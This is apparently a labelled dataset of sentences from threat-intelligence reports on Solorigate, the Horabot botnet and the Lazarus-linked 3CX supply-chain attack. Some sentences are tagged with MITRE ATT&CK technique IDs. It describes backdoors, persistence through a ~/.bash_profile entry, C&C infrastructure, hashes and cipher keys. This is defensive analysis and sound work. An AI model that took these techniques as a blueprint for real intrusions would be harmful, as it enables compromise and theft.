{"sentence": "The malware consists of a small persistence backdoor in the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is programmed to allow remote code execution through SolarWinds web application server when installed in the folder “inetpub\\SolarWinds\\bin\\”.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Unlike Solorigate, this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it. Figure 13: Original DLL Figure 14: The malicious addition that calls the DynamicRun method This code provides an attacker the ability to send and execute any arbitrary C# program on the victim’s device.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "G!dha.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Talk to us Questions, concerns, or insights on this story?", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Join discussions at the Microsoft 365 Defender tech community.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Read all Microsoft security intelligence blog posts.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Follow us on Twitter @MsftSecIntel.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers appeared first on Microsoft Security.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"}
{"sentence": "Security researchers have issued a warning over a sophisticated malware botnet that has flown under the radar for more than two years.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Analysis by security firm Cisco Talos also found that organisations across “several business verticals” have been targeted by the botnet since November 2020.Dubbed ‘Horabot’, the botnet was spotted infecting devices with a banking trojan and spam tools to steal sensitive financial information and assume control of user email accounts to wage phishing attacks.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Users of email services such as Gmail, Yahoo, and Outlook, have been impacted by the botnet, with their accounts used to send malicious emails to contacts.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“Horabot enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox,” researchers said.", "labels": ["T1566.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "”According", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "to Talos, the botnet has specifically targeted Spanish-speaking users in the Americas, and could be based in Brazil.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Companies operating in the accounting, construction, engineering, and investment sectors are thought to have been particularly targeted by the botnet.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "How does Horabot work?Technical analysis from Cisco Talos revealed that the campaign is a “multi-stage attack chain” beginning with an initial phishing email.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This then delivers a malicious payload via a PowerShell downloader script.", "labels": ["T1027"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance,” researchers said in a blog post.", "labels": ["T1027"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "”This payload was found to create specially crafted Windows shortcut files that run during the startup process of a victims machine and force it to restart.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Upon reboot, these malicious files enable the attacker to further infect the device.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“After the victim’s machine is rebooted, the malicious Windows startup files run the payloads by sideloading them to the legitimate executables and downloading and executing two other PowerShell scripts from a different attacker-controlled server,” the blog post explained.", "labels": ["T1105", "T1574.002"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“One is the PowerShell downloader script, which the attacker attempts to execute to re-infect the victim’s machine, and another is Horabot.”Analysis of the banking trojanAnalysis from Talos found that the banking trojan used in this campaign specifically targets the victim’s login credentials and financial information.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This trojan enables the attacker to monitor activity on a victim’s device by collecting system information such as hostnames, IPv4 addresses, OS version information, and insights on anti-virus software present on the machine.", "labels": ["T1016", "T1082", "T1518.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Data gathered by the trojan is then extracted to an attacker-controlled server, researchers added.", "labels": ["T1041"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request,” Talos explained “The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.", "labels": ["T1005", "T1041", "T1056.001", "T1071.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.”The", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "second element of this botnet campaign involves the use of a spam tool, researchers explained.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This acts as a secondary payload during the attack and enables the threat actor to assume control of the victim’s email accounts.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "“The spam tool is a 32-bit DLL written in Delphi and, when run on the victim’s machine, will attempt to compromise the victim’s login credentials for webmail services such as Yahoo, Gmail, and Hotmail,” Cisco analysts explained.", "labels": ["T1078"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Once user credentials have been compromised, this tool takes “full control” of the account and begins creating and circulating spam emails to contacts found in the victim’s mailbox.", "labels": ["T1078"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "This spambot also displayed “information-stealing capabilities”, including the ability to log keystrokes, capture screenshots, and track mouse activity on an infected computer.", "labels": ["T1056.001", "T1113"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"}
{"sentence": "Linux malware strengthens links between Lazarus and the 3CX supply‑chain attack url: https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack/ Similarities with newly discovered Linux malware used in Operation DreamJob corroborate the theory that the infamous North Korea-aligned group is behind the 3CX supply-chain attack ESET researchers have discovered a new Lazarus Operation DreamJob campaign targeting Linux users.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Operation DreamJob is the name for a series of campaigns where the group uses social engineering techniques to compromise its targets, with fake job offers as the lure.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload: the SimplexTea Linux backdoor distributed through an OpenDrive cloud storage account.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "To our knowledge, this is the first public mention of this major North Korea-aligned threat actor using Linux malware as part of this operation.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Additionally, this discovery helped us confirm with a high level of confidence that the recent 3CX supply-chain attack was in fact conducted by Lazarus – a link that was suspected from the very beginning and demonstrated by several security researchers since.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "In this blogpost, we corroborate these findings and provide additional evidence about the connection between Lazarus and the 3CX supply-chain attack.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The 3CX supply-chain attack 3CX is an international VoIP software developer and distributor that provides phone system services to many organizations.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "According to its website, 3CX has more than 600,000 customers and 12,000,000 users in various sectors including aerospace, healthcare, and hospitality.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It provides client software to use its systems via a web browser, mobile app, or a desktop application.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Late in March 2023, it was discovered that the desktop application for both Windows and macOS contained malicious code that enabled a group of attackers to download and run arbitrary code on all machines where the application was installed.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Rapidly, it was determined that this malicious code was not something that 3CX added themselves, but that 3CX was compromised and that its software was used in a supply-chain attack driven by external threat actors to distribute additional malware to specific 3CX customers.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This cyber-incident has made headlines in recent days.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Initially reported on March 29th, 2023 in a Reddit thread by a CrowdStrike engineer, followed by an official report by CrowdStrike, stating with high confidence that LABIRINTH CHOLLIMA, the company’s codename for Lazarus, was behind the attack (but omitting any evidence backing up the claim).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Because of the seriousness of the incident, multiple security companies started to contribute their summaries of the events, namely Sophos, Check Point, Broadcom, Trend Micro, and more.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Further, the part of the attack affecting systems running macOS was covered in detail in a Twitter thread and a blogpost by Patrick Wardle.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Timeline of events Figure 1.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Timeline of events related to the preparation and distribution of 3CX trojanized applications", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The timeline shows that the perpetrators had planned the attacks long before execution; as early as December 2022.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This suggests they already had a foothold inside 3CX’s network late last year.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "While the trojanized 3CX macOS application shows it was signed in late January, we did not see the bad application in our telemetry until February 14th, 2023.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It is unclear whether the malicious update for macOS was distributed prior to that date.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Although ESET telemetry shows the existence of the macOS second-stage payload as early as February, we did not have the sample itself, nor metadata to tip us off about its maliciousness.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We include this information to help defenders determine how far back systems might have been compromised.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Several days before the attack was publicly revealed, a mysterious Linux downloader was submitted to VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It downloads a new Lazarus malicious payload for Linux and we explain its relationship to the attack later in the text.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Attribution of the 3CX supply-chain attack to Lazarus What is already published There is one domain that plays a significant role in our attribution reasoning: journalide[.]org.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It is mentioned in some of the vendor reports linked above, but its presence is never explained.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, articles by SentinelOne and ObjectiveSee do not mention this domain.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Neither does a blogpost by Volexity, which even refrained from providing attribution, stating “Volexity cannot currently map the disclosed activity to any threat actor”.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Its analysts were among the first to investigate the attack in depth and they created a tool to extract a list of C&C servers from encrypted icons on GitHub.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This tool is useful, as the attackers did not embed the C&C servers directly in the intermediate stages, but rather used GitHub as a dead drop resolver.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The intermediate stages are downloaders for Windows and macOS that we denote as IconicLoaders, and the payloads they get as IconicStealer and UpdateAgent, respectively.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 30th, Joe Desimone, a security researcher from Elastic Security, was among the first to provide, in a Twitter thread, substantial clues that the 3CX-driven compromises are probably linked to Lazarus.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "He observed that a shellcode stub prepended to the payload from d3dcompiler_47.dll is similar to AppleJeus loader stubs attributed to Lazarus by CISA back in April 2021.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 31st", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "it was being reported that 3CX had retained Mandiant to provide incident response services relating to the supply-chain attack.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On April 3rd, Kaspersky, through its telemetry, showed a direct relationship between the 3CX supply-chain victims and the deployment of a backdoor dubbed Gopuram, both involving payloads with a common name, guard64.dll.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Kaspersky data shows that Gopuram is connected to Lazarus because it coexisted on victim machines alongside AppleJeus, malware that was already attributed to Lazarus.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Both Gopuram and AppleJeus were observed in attacks against a cryptocurrency company.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Then, on April 11th, the CISO of 3CX summarized Mandiant’s interim findings in a blogpost.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "According to that report, two Windows malware samples, a shellcode loader called TAXHAUL and a complex downloader named COLDCAT, were involved in the compromise of 3CX.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal:", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "SHA-1: 2ACC6F1D4656978F4D503929B8C804530D7E7CF6 (ualapi.dll), SHA-1: DCEF83D8EE080B54DC54759C59F955E73D67AA65 (wlbsctrl.dll) The filenames, but not MD5s, of these samples coincide with those from Kaspersky’s blogpost.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "However, 3CX explicitly states that COLDCAT differs from Gopuram.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The next section contains a technical description of the new Lazarus malicious Linux payload we recently analyzed, as well as how it helped us strengthen the existing link between Lazarus and the 3CX compromise.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Operation DreamJob with a Linux payload The Lazarus group’s Operation DreamJob involves approaching targets through LinkedIn and tempting them with job offers from industry leaders.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The name was coined by ClearSky in a paper published in August 2020.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "That paper describes a Lazarus cyberespionage campaign targeting defense and aerospace companies.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The activity has overlap with what we call Operation In(ter)ception, a series of cyberespionage attacks that have been ongoing since at least September 2019.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It targets aerospace, military, and defense companies and uses specific malicious, initially Windows-only, tools.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "During July and August 2022, we found two instances of Operation In(ter)ception targeting macOS.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "One malware sample was submitted to VirusTotal from Brazil, and another attack targeted an ESET user in Argentina.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "A few weeks ago, a native Linux payload was found on VirusTotal with an HSBC-themed PDF lure.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This completes Lazarus’s ability to target all major desktop operating systems.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 20th, a user in the country of Georgia submitted to VirusTotal a ZIP archive called HSBC job offer.pdf.zip.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Given other DreamJob campaigns by Lazarus, this payload was probably distributed through spearphishing or direct messages on LinkedIn.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The archive contains a single file: a native 64-bit Intel Linux binary written in Go and named HSBC job offer․pdf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, the file extension is not .pdf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This is because the apparent dot character in the filename is a leader dot represented by the U+2024 Unicode character.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This could cause the file to run when double-clicked instead of opening it with a PDF viewer.", "labels": ["T1204.002"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On execution, a decoy PDF is displayed to the user using xdg-open, which will open the document using the user’s preferred PDF viewer (see Figure 3).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We decided to call this ELF downloader OdicLoader, as it has a similar role as the IconicLoaders on other platforms and the payload is fetched from OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "OdicLoader drops a decoy PDF document, displays it using the system’s default PDF viewer (see Figure 2), and then downloads a second-stage backdoor from the OpenDrive cloud service.", "labels": ["T1105"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The downloaded file is stored in ~/.config/guiconfigd (SHA-1: 0CA1723AFE261CD85B05C9EF424FC50290DCE7DF).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We call this second-stage backdoor SimplexTea.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "As the last step of its execution, the OdicLoader modifies ~/.bash_profile, so SimplexTea is launched with Bash and its output is muted (~/.config/guiconfigd >/dev/null 2>&1).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Illustration of the probable chain of compromise Figure 3.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "An HSBC-themed lure in the Linux DreamJob campaign SimplexTea is a Linux backdoor written in C++.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "As highlighted in Table 1, its class names are very similar to function names found in a sample, with filename sysnetd, submitted to VirusTotal from Romania (SHA-1: F6760FB1F8B019AF2304EA6410001B63A1809F1D).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Because of the similarities in class names and function names between SimplexTea and sysnetd, we believe SimplexTea is an updated version, rewritten from C to C++.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Comparison of the original symbol names from two Linux backdoors submitted to VirusTotal guiconfigd (SimplexTea for Linux, from Georgia)sysnetd (BADCALL for Linux, from Romania) CMsgCmd::Start(void)MSG_Cmd CMsgSecureDel::Start(void)MSG_Del CMsgDir::Start(void)MSG_Dir CMsgDown::Start(void)MSG_Down CMsgExit::Start(void)MSG_Exit CMsgReadConfig::Start(void)MSG_ReadConfig CMsgRun::Start(void)MSG_Run CMsgSetPath::Start(void)MSG_SetPath CMsgSleep::Start(void)MSG_Sleep CMsgTest::Start(void)MSG_Test CMsgUp::Start(void)MSG_Up CMsgWriteConfig::Start(void)MSG_WriteConfig MSG_GetComInfo CMsgHibernate::Start(void) CMsgKeepCon::Start(void) CMsgZipDown::Start(void)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "CMsgZip::StartZip(void *) CMsgZip::Start(void) CHttpWrapper::RecvData(uchar *&,uint *,uint,signed char) RecvMsg CHttpWrapper::SendMsg(_MSG_STRUCT *)SendMsg CHttpWrapper::SendData(uchar *,uint,uint) CHttpWrapper::SendMsg(uint,uint,uchar *,uint,uint)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "CHttpWrapper::SendLoginData(uchar *,uint,uchar *&,uint *)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "How is sysnetd related to Lazarus?", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The following section shows similarities with Lazarus’s Windows backdoor called BADCALL.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "BADCALL for Linux We attribute sysnetd to Lazarus because of its similarities with the following two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL):", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection (see Figure 4).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It was attributed to Lazarus by CISA in December 2017.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "From September 2019, CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Similarities between a Windows and a Linux variant of BADCALL (a list of domains used as a front for a fake TLS connection) prtspool (SHA-1: 58B0516D28BD7218B1908FB266B8FE7582E22A5F), which shows code similarities to sysnetd (see Figure 5).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It was attributed to Lazarus by CISA in February 2021.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Note as well that SIMPLESEA, a macOS backdoor found during the 3CX incident response, implements the A5/1 stream cipher.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Similarities between AppleJeus for macOS and the Linux variant of BADCALL (the key for the A5/1 stream cipher)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This Linux version of the BADCALL backdoor, sysnetd, loads its configuration from a file named /tmp/vgauthsvclog.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Since Lazarus operators have previously disguised their payloads, the use of this name, which is used by the VMware Guest Authentication service, suggests that the targeted system may be a Linux VMware virtual machine.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, the XOR key in this case is the same as one used in SIMPLESEA from the 3CX investigation.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Loading a configuration file by BADCALL for Linux, cf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Figure 8 Taking a look at the three 32-bit integers, 0xC2B45678, 0x90ABCDEF, and 0xFE268455 from Figure 5, which represent a key for a custom implementation of the A5/1 cipher, we realized that the same algorithm and the identical keys were used in Windows malware that dates back to the end of 2014 and was involved in one of the most notorious Lazarus cases: the cybersabotage of Sony Pictures Entertainment (SHA-1: 1C66E67A8531E3FF1C64AE57E6EDFDE7BEF2352D).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The decryption routine shared between the BADCALL for Linux and targeted destructive malware for Windows from 2014 Additional attribution data points To recap what we’ve covered so far, we attribute the 3CX supply-chain attack to the Lazarus group with a high level of confidence.", "labels": ["T1140"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This is based on the following factors: Malware (the intrusion set): The IconicLoader (samcli.dll) uses the same type of strong encryption – AES-GCM – as SimplexTea (whose attribution to Lazarus was established via the similarity with BALLCALL for Linux); only the keys and initialization vectors differ.", "labels": ["T1027"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Based on the PE Rich Headers, both IconicLoader (samcli.dll) and IconicStealer (sechost.dll) are projects of a similar size and compiled in the same Visual Studio environment as the executables iertutil.dll (SHA-1: 5B03294B72C0CAA5FB20E7817002C600645EB475) and iertutil.dll (SHA-1: 7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC) reported in the Lazarus cryptocurrency campaigns by Volexity and Microsoft.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We include below the YARA rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023, which flags all these samples, and no unrelated malicious or clean files, as tested on the current ESET databases and recent VirusTotal submissions.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "SimplexTea payload loads its configuration in a very similar way to the SIMPLESEA malware from the 3CX official incident response.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The XOR key differs (0x5E vs. 0x7E), but the configuration bears the same name: apdl.cf (see Figure 8). Figure 8.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Loading a configuration file by SimplexTea for Linux, cf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Figure 6 Infrastructure: There is shared network infrastructure with SimplexTea, as it uses https://journalide[.]org/djour.php as it C&C, whose domain is reported in the official results of the incident response of the 3CX compromise by Mandiant.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "A hardcoded URL in SimplexTea for Linux Conclusion The 3CX compromise has gained a lot of attention from the security community since its disclosure on March 29th.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This compromised software, deployed on various IT infrastructures, which allows the download and execution of any kind of payload, can have devastating impacts.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Unfortunately, no software publisher is immune to being compromised and inadvertently distributing trojanized versions of their applications.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The stealthiness of a supply-chain attack makes this method of distributing malware very appealing from an attacker’s perspective.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Lazarus has already used this technique in the past, targeting South Korean users of WIZVERA VeraPort software in 2020.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Similarities with existing malware from the Lazarus toolset and with the group’s typical techniques strongly suggest the recent 3CX compromise is the work of Lazarus as well.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
